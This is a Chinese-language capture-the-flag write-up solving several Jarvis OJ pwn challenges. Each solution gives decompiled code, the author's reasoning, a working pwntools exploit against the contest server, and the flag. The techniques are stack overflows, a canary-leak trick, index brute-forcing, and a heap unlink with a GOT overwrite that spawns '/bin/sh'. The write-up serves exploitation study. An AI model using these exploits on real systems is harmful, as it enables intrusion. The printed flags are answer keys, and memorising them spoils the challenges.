【WriteUp】Jarvis OJ--Pwn题解

最近比赛有点多,没啥时间写博客emmm

Tell Me Something

Description:

o you have something to tell me?

nc pwn.jarvisoj.com 9876

guestbook.d3d5869bd6fb04dd35b29c67426c0f05


Solution:

溢出点就在 main 函数,这里 read 读多了

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v4; // [rsp+0h] [rbp-88h]

write(1, "Input your message:\n", 0x14uLL);
read(0, &v4, 0x100uLL);
return write(1, "I have received your message, Thank you!\n", 0x29uLL);
}

目标点在 good_game 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int good_game()
{
FILE *v0; // rbx
int result; // eax
char buf; // [rsp+Fh] [rbp-9h]

v0 = fopen("flag.txt", "r");
while ( 1 )
{
result = fgetc(v0);
buf = result;
if ( (_BYTE)result == -1 )
break;
write(1, &buf, 1uLL);
}
return result;
}

需要注意的一点是这里的变量相对偏移的基准是 rsp

所以需要自己用 gdb 调试一下

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

# context(log_level="debug", arch="amd64", os="linux")
# p = process('./guestbook')
p = remote('pwn.jarvisoj.com', 9876)
elf = ELF('./guestbook', checksec=False)
addr_good_game = elf.sym['good_game']

# gdb.attach(p, "b *0x40051e\nc")
pd = 'a' * 0x88
pd += p64(addr_good_game)
p.sendlineafter('Input your message:\n', pd)
p.interactive()

Flag:

1
PCTF{This_is_J4st_Begin}

Smashes

Description:

Smashes, try your best to smash!!!

nc pwn.jarvisoj.com 9877

smashes.44838f6edd4408a53feb2e2bbfe5b229


Solution:

程序溢出点在sub_4007E0函数

1
2
3
4
5
6
7
8
9
10
11
while ( 1 )
{
v1 = _IO_getc(stdin);
if ( v1 == -1 )
goto LABEL_9;
if ( v1 == 10 )
break;
byte_600D20[v0++] = v1;
if ( v0 == 32 )
goto LABEL_8;
}

双击byte_600D20可以看到这样的画面

1
2
3
4
.data:0000000000600D20 ; char byte_600D20[]
.data:0000000000600D20 byte_600D20 db 50h ; DATA XREF: sub_4007E0+6E↑w
.data:0000000000600D21 aCtfHereSTheFla db 'CTF{Here',27h,'s the flag on server}',0
.data:0000000000600D21 _data ends

由此可知,服务器端中的 flag 应该也在这个位置上
关键是我们该如何泄露这段地址上面的内容,这就要靠__stack_chk_fail函数

我们知道__stack_chk_fail函数会泄露程序所在的地址
那么我们只要把地址替换成 flag 所在的这块地址即可

找到地址如下

1
2
3
RSP: 0x7ffc2a77d630 --> 0x7ffc2a77d700 --> 0x0

0536| 0x7ffc2a77d848 --> 0x7ffc2a77f25c ("./smashes")

所以我们要覆盖的地址数等于0x7ffc2a77d848 - 0x7ffc2a77d630 == ‭0x218‬

又因为程序里面写了这样一句,把之前存 flag 的地方全部清零了
所以我们需要重新找个存 flag 的地方

1
memset((void *)((signed int)v0 + 0x600D20LL), 0, (unsigned int)(32 - v0));

当 elf 文件在很小时,程序内的一段内容可能会被多个地址所映射
根据这个特性我们去 gdb 里查找一下剩下有存放 flag 的地址

1
2
3
4
5
gdb-peda$ find CTF
Searching for 'CTF' in: None ranges
Found 2 results, display max 2 items:
smashes : 0x400d21 ("CTF{Here's the flag on server}")
[stack] : 0x7ffd571b7998 --> 0x6e77502f465443 ('CTF/Pwn')

可以看到在0x400d21地址处存放着 flag,但是之后怎么试都不对
后来发现在byte_600D20处的50hP的 ASCII 码,问题就迎刃而解了……
应该选0x400d20为输出地址

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

# context(log_level="debug", arch="amd64", os="linux")
# p = process('./smashes')
p = remote('pwn.jarvisoj.com', 9877)

gdb.attach(p, "b *0x40080E\nc")
pd = 'a' * 0x218
pd += p64(0x400d20)
p.sendlineafter("Hello!\nWhat's your name? ", pd)
p.sendlineafter('Please overwrite the flag: ', '')
p.interactive()

Flag:

1
PCTF{57dErr_Smasher_good_work!}

Backdoor

Description:

这是一个有后门的程序,有个参数可以触发该程序执行后门操作,请找到这个参数,并提交其SHA256摘要。(小写)

FLAG:PCTF{参数的sha256}

vulnerable.rar.10d720f2dcf2b4133ec512813d7b89ce


Solution:

程序的主函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
signed int __cdecl wmain(int a1, int a2)
{
char v3; // [esp+50h] [ebp-2C8h]
char v4; // [esp+E1h] [ebp-237h]
char v5; // [esp+E4h] [ebp-234h]
char Source[4]; // [esp+100h] [ebp-218h]
char v7; // [esp+104h] [ebp-214h]
__int16 i; // [esp+108h] [ebp-210h]
char Dest[2]; // [esp+10Ch] [ebp-20Ch]
char Dst; // [esp+10Eh] [ebp-20Ah]
char v11[25]; // [esp+110h] [ebp-208h]
char v12[483]; // [esp+129h] [ebp-1EFh]
__int16 v13; // [esp+30Ch] [ebp-Ch]
LPSTR lpMultiByteStr; // [esp+310h] [ebp-8h]
int cbMultiByte; // [esp+314h] [ebp-4h]

cbMultiByte = WideCharToMultiByte(1u, 0, *(LPCWSTR *)(a2 + 4), -1, 0, 0, 0, 0);
lpMultiByteStr = (LPSTR)sub_4011F0(cbMultiByte);
WideCharToMultiByte(1u, 0, *(LPCWSTR *)(a2 + 4), -1, lpMultiByteStr, cbMultiByte, 0, 0);
v13 = *(_WORD *)lpMultiByteStr;
if ( v13 < 0 )
return -1;
v13 ^= 25667u;
strcpy(Dest, "0");
memset(&Dst, 0, 0x1FEu);
for ( i = 0; i < v13; ++i )
Dest[i] = 65;
*(_DWORD *)Source = 0x7FFA4512;
v7 = 0;
strcpy(&Dest[v13], Source);
qmemcpy(&v5, &unk_4021FC, 0x1Au);
strcpy(&v11[v13], &v5);
qmemcpy(&v3, &unk_402168, 0x91u);
v4 = 0;
strcpy(&v12[v13], &v3);
sub_401000(Dest);
return 0;
}

这里看到 v3 进行了异或操作,所以猜测 v3 是程序的参数

所以现在 Dest 的值为

1
2
pd = 'A' * v3
pd += p32(0x7FFA4512)

又因为0x7FFA4512是 Win 平台下一个惯用的万能地址,即jmp esp指令
所以程序的目的可能就是使这个地址覆盖 ret 的地址,使程序跳回 v3 的值所指的地址

程序溢出点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl sub_401000(char *Source)
{
char Dest[2]; // [esp+4Ch] [ebp-20h]
int v3; // [esp+4Eh] [ebp-1Eh]
int v4; // [esp+52h] [ebp-1Ah]
int v5; // [esp+56h] [ebp-16h]
int v6; // [esp+5Ah] [ebp-12h]
int v7; // [esp+5Eh] [ebp-Eh]
int v8; // [esp+62h] [ebp-Ah]
int v9; // [esp+66h] [ebp-6h]
__int16 v10; // [esp+6Ah] [ebp-2h]

strcpy(Dest, "0");
v3 = 0;
v4 = 0;
v5 = 0;
v6 = 0;
v7 = 0;
v8 = 0;
v9 = 0;
v10 = 0;
strcpy(Dest, Source);
return 0;
}

这里传入的*Source明显大于 2 个字节,所以会在 0x24 处覆盖 ret
故 v3 最后应该为 0x24

exp如下:

这里算的是 v3 的值,要记得之前 v3 还进行了一次异或运算

1
2
3
4
5
6
from pwn import *
import hashlib

pd = p16(0x24 ^ 0x6443)
pd = hashlib.sha256(pd).hexdigest()
print 'PCTF{' + pd + '}'

Flag:

1
PCTF{2b88144311832d59ef138600c90be12a821c7cf01a9dc56a925893325c0af99f}

Guess

Description:

你猜,你猜,你猜不到,你猜对了就给你flag

nc pwn.jarvisoj.com 9878

guess.0eff3b4fdf70b3d7c2108758691c9be3


Solution:

程序关键点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
_BOOL8 __fastcall is_flag_correct(const char *a1)
{
unsigned int v1; // eax
char v3[64]; // [rsp+10h] [rbp-190h]
int v4; // [rsp+50h] [rbp-150h]
int v5; // [rsp+54h] [rbp-14Ch]
int v6; // [rsp+58h] [rbp-148h]
int v7; // [rsp+5Ch] [rbp-144h]
int v8; // [rsp+60h] [rbp-140h]
int v9; // [rsp+64h] [rbp-13Ch]
int v10; // [rsp+68h] [rbp-138h]
int v11; // [rsp+6Ch] [rbp-134h]
int v12; // [rsp+70h] [rbp-130h]
int v13; // [rsp+74h] [rbp-12Ch]
int v14; // [rsp+78h] [rbp-128h]
int v15; // [rsp+7Ch] [rbp-124h]
__int16 v16; // [rsp+80h] [rbp-120h]
char v17[258]; // [rsp+90h] [rbp-110h]
char v18; // [rsp+192h] [rbp-Eh]
char v19; // [rsp+193h] [rbp-Dh]
int j; // [rsp+194h] [rbp-Ch]
char v21; // [rsp+19Bh] [rbp-5h]
int i; // [rsp+19Ch] [rbp-4h]

if ( strlen(a1) != 100 )
{
v1 = strlen(a1);
printf("bad input, that hexstring should be 100 chars, but was %d chars long!\n", v1);
exit(0);
}
qmemcpy(v17, &unk_401100, 0x100uLL);
v4 = 'EKAF';
v5 = '3b9{';
v6 = '3e55';
v7 = '2d49';
v8 = 'e070';
v9 = 'd0db';
v10 = '591f';
v11 = '2b8d';
v12 = '0543';
v13 = '2cc9';
v14 = '2729';
v15 = '14cb';
v16 = '}2';
bzero(v3, 0x32uLL);
for ( i = 0; i <= 49; ++i )
{
v19 = v17[a1[2 * i]];
v18 = v17[a1[2 * i + 1]];
if ( v19 == -1 || v18 == -1 )
{
puts("bad input – one of the characters you supplied was not a valid hex character!");
exit(0);
}
v3[i] = v18 | 16 * v19;
}
v21 = 0;
for ( j = 0; j <= 49; ++j )
v21 |= *(&v4 + j) ^ v3[j];
return v21 == 0;
}

一开始我以为这 flag 是固定的,就是 v4 到 v16 那一堆结合起来,写了这样一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
import binascii

p = remote('pwn.jarvisoj.com', 9878)
pd = p32(int('0x' + binascii.b2a_hex('FTCP'), 16))
pd += p32(int('0x' + binascii.b2a_hex('3b9{'), 16))
pd += p32(int('0x' + binascii.b2a_hex('3e55'), 16))
pd += p32(int('0x' + binascii.b2a_hex('2d49'), 16))
pd += p32(int('0x' + binascii.b2a_hex('e070'), 16))
pd += p32(int('0x' + binascii.b2a_hex('d0db'), 16))
pd += p32(int('0x' + binascii.b2a_hex('591f'), 16))
pd += p32(int('0x' + binascii.b2a_hex('2b8d'), 16))
pd += p32(int('0x' + binascii.b2a_hex('0543'), 16))
pd += p32(int('0x' + binascii.b2a_hex('2cc9'), 16))
pd += p32(int('0x' + binascii.b2a_hex('2729'), 16))
pd += p32(int('0x' + binascii.b2a_hex('14cb'), 16))
pd += p16(int('0x' + binascii.b2a_hex('}2'), 16))
pd = binascii.b2a_hex(pd)
print pd
p.sendline(pd)
p.interactive()

结果不对……

这时候看到qmemcpy(v17, &unk_401100, 0x100uLL);里的unk_401100地址处的内容有些奇特

[0-9A-Z]的 ASCII 码相对于该地址的偏移也正好是该 ASCII 码
[a-z]的 ASCII 码的相对偏移为 [A-Z] 的 ASCII 码
数据总量正好是一个 unsigned char 的最大大小 255 个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
.rodata:0000000000401100 unk_401100      db 0FFh                 ; DATA XREF: is_flag_correct+58↑o
.rodata:0000000000401101 db 0FFh
.rodata:0000000000401102 db 0FFh
.rodata:0000000000401103 db 0FFh
.rodata:0000000000401104 db 0FFh
.rodata:0000000000401105 db 0FFh
.rodata:0000000000401106 db 0FFh
.rodata:0000000000401107 db 0FFh
.rodata:0000000000401108 db 0FFh
.rodata:0000000000401109 db 0FFh
.rodata:000000000040110A db 0FFh
.rodata:000000000040110B db 0FFh
.rodata:000000000040110C db 0FFh
.rodata:000000000040110D db 0FFh
.rodata:000000000040110E db 0FFh
.rodata:000000000040110F db 0FFh
.rodata:0000000000401110 db 0FFh
.rodata:0000000000401111 db 0FFh
.rodata:0000000000401112 db 0FFh
.rodata:0000000000401113 db 0FFh
.rodata:0000000000401114 db 0FFh
.rodata:0000000000401115 db 0FFh
.rodata:0000000000401116 db 0FFh
.rodata:0000000000401117 db 0FFh
.rodata:0000000000401118 db 0FFh
.rodata:0000000000401119 db 0FFh
.rodata:000000000040111A db 0FFh
.rodata:000000000040111B db 0FFh
.rodata:000000000040111C db 0FFh
.rodata:000000000040111D db 0FFh
.rodata:000000000040111E db 0FFh
.rodata:000000000040111F db 0FFh
.rodata:0000000000401120 db 0FFh
.rodata:0000000000401121 db 0FFh
.rodata:0000000000401122 db 0FFh
.rodata:0000000000401123 db 0FFh
.rodata:0000000000401124 db 0FFh
.rodata:0000000000401125 db 0FFh
.rodata:0000000000401126 db 0FFh
.rodata:0000000000401127 db 0FFh
.rodata:0000000000401128 db 0FFh
.rodata:0000000000401129 db 0FFh
.rodata:000000000040112A db 0FFh
.rodata:000000000040112B db 0FFh
.rodata:000000000040112C db 0FFh
.rodata:000000000040112D db 0FFh
.rodata:000000000040112E db 0FFh
.rodata:000000000040112F db 0FFh
.rodata:0000000000401130 db 0
.rodata:0000000000401131 db 1
.rodata:0000000000401132 db 2
.rodata:0000000000401133 db 3
.rodata:0000000000401134 db 4
.rodata:0000000000401135 db 5
.rodata:0000000000401136 db 6
.rodata:0000000000401137 db 7
.rodata:0000000000401138 db 8
.rodata:0000000000401139 db 9
.rodata:000000000040113A db 0FFh
.rodata:000000000040113B db 0FFh
.rodata:000000000040113C db 0FFh
.rodata:000000000040113D db 0FFh
.rodata:000000000040113E db 0FFh
.rodata:000000000040113F db 0FFh
.rodata:0000000000401140 db 0FFh
.rodata:0000000000401141 db 0Ah
.rodata:0000000000401142 db 0Bh
.rodata:0000000000401143 db 0Ch
.rodata:0000000000401144 db 0Dh
.rodata:0000000000401145 db 0Eh
.rodata:0000000000401146 db 0Fh
.rodata:0000000000401147 db 0FFh
.rodata:0000000000401148 db 0FFh
.rodata:0000000000401149 db 0FFh
.rodata:000000000040114A db 0FFh
.rodata:000000000040114B db 0FFh
.rodata:000000000040114C db 0FFh
.rodata:000000000040114D db 0FFh
.rodata:000000000040114E db 0FFh
.rodata:000000000040114F db 0FFh
.rodata:0000000000401150 db 0FFh
.rodata:0000000000401151 db 0FFh
.rodata:0000000000401152 db 0FFh
.rodata:0000000000401153 db 0FFh
.rodata:0000000000401154 db 0FFh
.rodata:0000000000401155 db 0FFh
.rodata:0000000000401156 db 0FFh
.rodata:0000000000401157 db 0FFh
.rodata:0000000000401158 db 0FFh
.rodata:0000000000401159 db 0FFh
.rodata:000000000040115A db 0FFh
.rodata:000000000040115B db 0FFh
.rodata:000000000040115C db 0FFh
.rodata:000000000040115D db 0FFh
.rodata:000000000040115E db 0FFh
.rodata:000000000040115F db 0FFh
.rodata:0000000000401160 db 0FFh
.rodata:0000000000401161 db 0Ah
.rodata:0000000000401162 db 0Bh
.rodata:0000000000401163 db 0Ch
.rodata:0000000000401164 db 0Dh
.rodata:0000000000401165 db 0Eh
.rodata:0000000000401166 db 0Fh
.rodata:0000000000401167 db 0FFh
.rodata:0000000000401168 db 0FFh
.rodata:0000000000401169 db 0FFh
.rodata:000000000040116A db 0FFh
.rodata:000000000040116B db 0FFh
.rodata:000000000040116C db 0FFh
.rodata:000000000040116D db 0FFh
.rodata:000000000040116E db 0FFh
.rodata:000000000040116F db 0FFh
.rodata:0000000000401170 db 0FFh
.rodata:0000000000401171 db 0FFh
.rodata:0000000000401172 db 0FFh
.rodata:0000000000401173 db 0FFh
.rodata:0000000000401174 db 0FFh
.rodata:0000000000401175 db 0FFh
.rodata:0000000000401176 db 0FFh
.rodata:0000000000401177 db 0FFh
.rodata:0000000000401178 db 0FFh
.rodata:0000000000401179 db 0FFh
.rodata:000000000040117A db 0FFh
.rodata:000000000040117B db 0FFh
.rodata:000000000040117C db 0FFh
.rodata:000000000040117D db 0FFh
.rodata:000000000040117E db 0FFh
.rodata:000000000040117F db 0FFh
.rodata:0000000000401180 db 0FFh
.rodata:0000000000401181 db 0FFh
.rodata:0000000000401182 db 0FFh
.rodata:0000000000401183 db 0FFh
.rodata:0000000000401184 db 0FFh
.rodata:0000000000401185 db 0FFh
.rodata:0000000000401186 db 0FFh
.rodata:0000000000401187 db 0FFh
.rodata:0000000000401188 db 0FFh
.rodata:0000000000401189 db 0FFh
.rodata:000000000040118A db 0FFh
.rodata:000000000040118B db 0FFh
.rodata:000000000040118C db 0FFh
.rodata:000000000040118D db 0FFh
.rodata:000000000040118E db 0FFh
.rodata:000000000040118F db 0FFh
.rodata:0000000000401190 db 0FFh
.rodata:0000000000401191 db 0FFh
.rodata:0000000000401192 db 0FFh
.rodata:0000000000401193 db 0FFh
.rodata:0000000000401194 db 0FFh
.rodata:0000000000401195 db 0FFh
.rodata:0000000000401196 db 0FFh
.rodata:0000000000401197 db 0FFh
.rodata:0000000000401198 db 0FFh
.rodata:0000000000401199 db 0FFh
.rodata:000000000040119A db 0FFh
.rodata:000000000040119B db 0FFh
.rodata:000000000040119C db 0FFh
.rodata:000000000040119D db 0FFh
.rodata:000000000040119E db 0FFh
.rodata:000000000040119F db 0FFh
.rodata:00000000004011A0 db 0FFh
.rodata:00000000004011A1 db 0FFh
.rodata:00000000004011A2 db 0FFh
.rodata:00000000004011A3 db 0FFh
.rodata:00000000004011A4 db 0FFh
.rodata:00000000004011A5 db 0FFh
.rodata:00000000004011A6 db 0FFh
.rodata:00000000004011A7 db 0FFh
.rodata:00000000004011A8 db 0FFh
.rodata:00000000004011A9 db 0FFh
.rodata:00000000004011AA db 0FFh
.rodata:00000000004011AB db 0FFh
.rodata:00000000004011AC db 0FFh
.rodata:00000000004011AD db 0FFh
.rodata:00000000004011AE db 0FFh
.rodata:00000000004011AF db 0FFh
.rodata:00000000004011B0 db 0FFh
.rodata:00000000004011B1 db 0FFh
.rodata:00000000004011B2 db 0FFh
.rodata:00000000004011B3 db 0FFh
.rodata:00000000004011B4 db 0FFh
.rodata:00000000004011B5 db 0FFh
.rodata:00000000004011B6 db 0FFh
.rodata:00000000004011B7 db 0FFh
.rodata:00000000004011B8 db 0FFh
.rodata:00000000004011B9 db 0FFh
.rodata:00000000004011BA db 0FFh
.rodata:00000000004011BB db 0FFh
.rodata:00000000004011BC db 0FFh
.rodata:00000000004011BD db 0FFh
.rodata:00000000004011BE db 0FFh
.rodata:00000000004011BF db 0FFh
.rodata:00000000004011C0 db 0FFh
.rodata:00000000004011C1 db 0FFh
.rodata:00000000004011C2 db 0FFh
.rodata:00000000004011C3 db 0FFh
.rodata:00000000004011C4 db 0FFh
.rodata:00000000004011C5 db 0FFh
.rodata:00000000004011C6 db 0FFh
.rodata:00000000004011C7 db 0FFh
.rodata:00000000004011C8 db 0FFh
.rodata:00000000004011C9 db 0FFh
.rodata:00000000004011CA db 0FFh
.rodata:00000000004011CB db 0FFh
.rodata:00000000004011CC db 0FFh
.rodata:00000000004011CD db 0FFh
.rodata:00000000004011CE db 0FFh
.rodata:00000000004011CF db 0FFh
.rodata:00000000004011D0 db 0FFh
.rodata:00000000004011D1 db 0FFh
.rodata:00000000004011D2 db 0FFh
.rodata:00000000004011D3 db 0FFh
.rodata:00000000004011D4 db 0FFh
.rodata:00000000004011D5 db 0FFh
.rodata:00000000004011D6 db 0FFh
.rodata:00000000004011D7 db 0FFh
.rodata:00000000004011D8 db 0FFh
.rodata:00000000004011D9 db 0FFh
.rodata:00000000004011DA db 0FFh
.rodata:00000000004011DB db 0FFh
.rodata:00000000004011DC db 0FFh
.rodata:00000000004011DD db 0FFh
.rodata:00000000004011DE db 0FFh
.rodata:00000000004011DF db 0FFh
.rodata:00000000004011E0 db 0FFh
.rodata:00000000004011E1 db 0FFh
.rodata:00000000004011E2 db 0FFh
.rodata:00000000004011E3 db 0FFh
.rodata:00000000004011E4 db 0FFh
.rodata:00000000004011E5 db 0FFh
.rodata:00000000004011E6 db 0FFh
.rodata:00000000004011E7 db 0FFh
.rodata:00000000004011E8 db 0FFh
.rodata:00000000004011E9 db 0FFh
.rodata:00000000004011EA db 0FFh
.rodata:00000000004011EB db 0FFh
.rodata:00000000004011EC db 0FFh
.rodata:00000000004011ED db 0FFh
.rodata:00000000004011EE db 0FFh
.rodata:00000000004011EF db 0FFh
.rodata:00000000004011F0 db 0FFh
.rodata:00000000004011F1 db 0FFh
.rodata:00000000004011F2 db 0FFh
.rodata:00000000004011F3 db 0FFh
.rodata:00000000004011F4 db 0FFh
.rodata:00000000004011F5 db 0FFh
.rodata:00000000004011F6 db 0FFh
.rodata:00000000004011F7 db 0FFh
.rodata:00000000004011F8 db 0FFh
.rodata:00000000004011F9 db 0FFh
.rodata:00000000004011FA db 0FFh
.rodata:00000000004011FB db 0FFh
.rodata:00000000004011FC db 0FFh
.rodata:00000000004011FD db 0FFh
.rodata:00000000004011FE db 0FFh
.rodata:00000000004011FF db 0FFh

因为检查字符串的时候没有限定数组下标,导致可以执行任意比较
我们看栈空间,发现 v17 离程序内 flag 的相对偏移为 0x40

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
-0000000000000150 var_150         dd ? ; v4
-000000000000014C var_14C dd ? ; v5
-0000000000000148 var_148 dd ? ; v6
-0000000000000144 var_144 dd ? ; v7
-0000000000000140 var_140 dd ? ; v8
-000000000000013C var_13C dd ? ; v9
-0000000000000138 var_138 dd ? ; v10
-0000000000000134 var_134 dd ? ; v11
-0000000000000130 var_130 dd ? ; v12
-000000000000012C var_12C dd ? ; v13
-0000000000000128 var_128 dd ? ; v14
-0000000000000124 var_124 dd ? ; v15
-0000000000000120 var_120 dw ? ; v16
-000000000000011E db ? ; undefined
-000000000000011D db ? ; undefined
-000000000000011C db ? ; undefined
-000000000000011B db ? ; undefined
-000000000000011A db ? ; undefined
-0000000000000119 db ? ; undefined
-0000000000000118 db ? ; undefined
-0000000000000117 db ? ; undefined
-0000000000000116 db ? ; undefined
-0000000000000115 db ? ; undefined
-0000000000000114 db ? ; undefined
-0000000000000113 db ? ; undefined
-0000000000000112 db ? ; undefined
-0000000000000111 db ? ; undefined
-0000000000000110 var_110 db 258 dup(?) ; v17

因为 v17 为 char 型数组,所以 ACSII 码超过 127 时为负数
我们可以写一个用负数读程序内部 flag 字符串的函数来伪造一个可以无限通过的字符串
然后再对每个字符的 16 进制值修改,来进行爆破

这里写的脚本要能根据上一次爆破出来的内容接着爆破
因为交互比较慢,程序有时间限制,一次是爆破不完的

但是最后提交的时候 flag 不是 16 进制数而是原来的明文

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
import binascii
import string

p = remote('pwn.jarvisoj.com', 9878)
# p = remote('192.168.171.193', 9999)
string_range = string.ascii_letters + string.digits + '{}_'
a1 = ''


def create_payload():
global a1
for i in range(0x40, 0x40 - 50, -1):
a1 += '0'
a1 += chr(0x100 - i)
a1 = list(a1)


def guess_payload(idx):
global a1
pd = a1
for i in range(idx, 50):
for j in string_range:
pd[2 * i] = j.encode('hex')[0]
pd[2 * i + 1] = j.encode('hex')[1]
p.sendline(''.join(pd))
p.recvuntil('guess> ')
ans = p.recv(5)
if ans == 'Nope.':
continue
elif ans == 'Yaaaa':
a1[2 * i] = j.encode('hex')[0]
a1[2 * i + 1] = j.encode('hex')[1]
success(str(i) + ' is over!')
success('The string is ' + binascii.a2b_hex(''.join(a1[0: 2 * (i + 1)])).encode('utf-8'))
success('The flag is ' + ''.join(a1[0: 2 * (i + 1)]))
break


def attack_main(idx, payload):
global a1
b = binascii.a2b_hex(payload).encode('utf-8')
for i in range(len(b)):
a1[2 * i] = b[i].encode('hex')[0]
a1[2 * i + 1] = b[i].encode('hex')[1]
guess_payload(idx)


pd = '504354467b3439643433'\
'31306131303835383735'\
'35363739333236353165'\
'35353965313533636663'\
'3862643237623433'
create_payload()
attack_main(len(pd) / 2 - 1, pd)

Flag:

1
PCTF{49d4310a1085875567932651e559e153cfc8bd27b431}

Guestbook2

Description:

听说guestbook1很快被人日穿了,出题人表示不服,于是对Guestbook进行了升级,自以为写的很科学~~大家一起鉴定一下。

nc pwn.jarvisoj.com 9879

guestbook2.rar.f90369a6de48cbfe84ea32b232ad9630


Solution:

这题考的是 unlink 的知识和 realloc 的知识以及对齐检查

说实话做了这题我才知道 main_arena 的泄露在本地和远程的偏移可以是不一样的

蒙了蒙常用的偏移蒙出来了hhh,正常应该泄露got表在内存中的地址来确定偏移

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

# context(log_level="debug", arch="amd64", os="linux")
# p = process('./guestbook2')
p = remote('pwn.jarvisoj.com', 9879)
elf = ELF('./guestbook2', checksec=False)
libc = ELF('./libc.so.6', checksec=False)


def show(idx):
p.sendlineafter('Your choice: ', '1')
p.recvuntil(str(idx) + '. ')
p.recv(8)
return u64(p.recvuntil('\n' + str(idx + 1))[: -2].ljust(8, '\x00'))


def add(pd):
p.sendlineafter('Your choice: ', '2')
p.sendlineafter('Length of new post: ', str(len(pd)))
p.sendafter('Enter your post: ', pd)


def edit(idx, pd):
p.sendlineafter('Your choice: ', '3')
p.sendlineafter('Post number: ', str(idx))
p.sendlineafter('Length of post: ', str(len(pd)))
p.sendafter('Enter your post: ', pd)


def delete(idx):
p.sendlineafter('Your choice: ', '4')
p.sendlineafter('Post number: ', str(idx))


add('a' * 0x80) # [创建 chunk 0]
add('b' * 0x80) # [创建 chunk 1]
add('c' * 0x80) # [创建 chunk 2]
add('d' * 0x80) # [创建 chunk 3,防止上一个chunk在free时被top chunk合并]
delete(0) # [删除chunk 0,出现unsorted bin]
delete(2) # [删除chunk 2,使unsorted bin出现双向链表,在chunk 0记录chunk 2的地址]
add('A' * 8) # [恢复chunk 0,只写8字节保证在bk处泄露chunk 2的地址]

addr_chunk2 = show(0) # [泄露chunk 2的地址]
add('B' * 8) # [恢复chunk 2,只写8字节保证在bk处泄露main_arena + 101的地址]
# 这里其实我本地试是main_arena + 88,只不过101是个常用值,蒙对了
# 正常泄露还是应该在下面unlink之后泄露got表上面的值
addr_chunk_base = addr_chunk2 - 0x1940 + 0x10
addr_main_arena = show(2) - 101
libcbase = addr_main_arena - libc.sym['__malloc_hook'] - 0x10
addr_system = libcbase + libc.sym['system']

# 在chunk 0的伪造
pd = p64(0x90) + p64(0x80)
pd += p64(addr_chunk_base + 8) + p64(addr_chunk_base + 0x10) # 这里很重要,前块的bk要指向后块的fd
pd = pd.ljust(0x80, '\xff')
# 在chunk 1的伪造,构造一个可以向后合并的unlink数值
pd += p64(0x80) + p64(0x90)
delete(1)
edit(0, pd)
delete(1)

pd = p64(2) + p64(1)
pd += p64(0x90) + p64(addr_chunk_base + 8)
pd += p64(1)+p64(0x8)
pd += p64(elf.got['atoi'])
pd = pd.ljust(0x90, '\x00') # [绕过 realloc 对齐机制检查]
edit(0, pd)
edit(1, p64(addr_system))
p.send('/bin/sh')
success('addr_main_arena = ' + hex(addr_main_arena))
success('addr_chunk_base = ' + hex(addr_chunk_base))
p.interactive()

Flag:

1
PCTF{Double_Fr33_free_Fr3e_Fre3_h4ve_Fun}

HTTP

Description:

Try it here:

pwn.jarvisoj.com:9881

题目来源:cncert2016

http.49cb96c66532dfb92e4879c8693436ff


Solution:


Flag:

1

Test Your Memory

Description:

题目入口:

nc pwn2.jarvisoj.com 9876

题目来源:CFF2016

memory.838286edf4b832fd482d58ff1c217561


Solution:

程序直接给了后门,是最简单的 ret2text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl mem_test(char *s2)
{
int result; // eax
char s; // [esp+15h] [ebp-13h]

memset(&s, 0, 0xBu);
puts("\nwhat???? : ");
printf("0x%x \n", hint);
puts("cff flag go go go ...\n");
printf("> ");
__isoc99_scanf("%s", &s);
if ( !strncmp(&s, s2, 4u) )
result = puts("good job!!\n");
else
result = puts("cff flag is failed!!\n");
return result;
}

这里打印的 hint 是 cat flag 字符串的地址

靠着 scanf 里 %s 无限制的字符串输入来实现溢出攻击

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

# context(log_level="debug", arch="i386", os="linux")
# p = process('./memory')
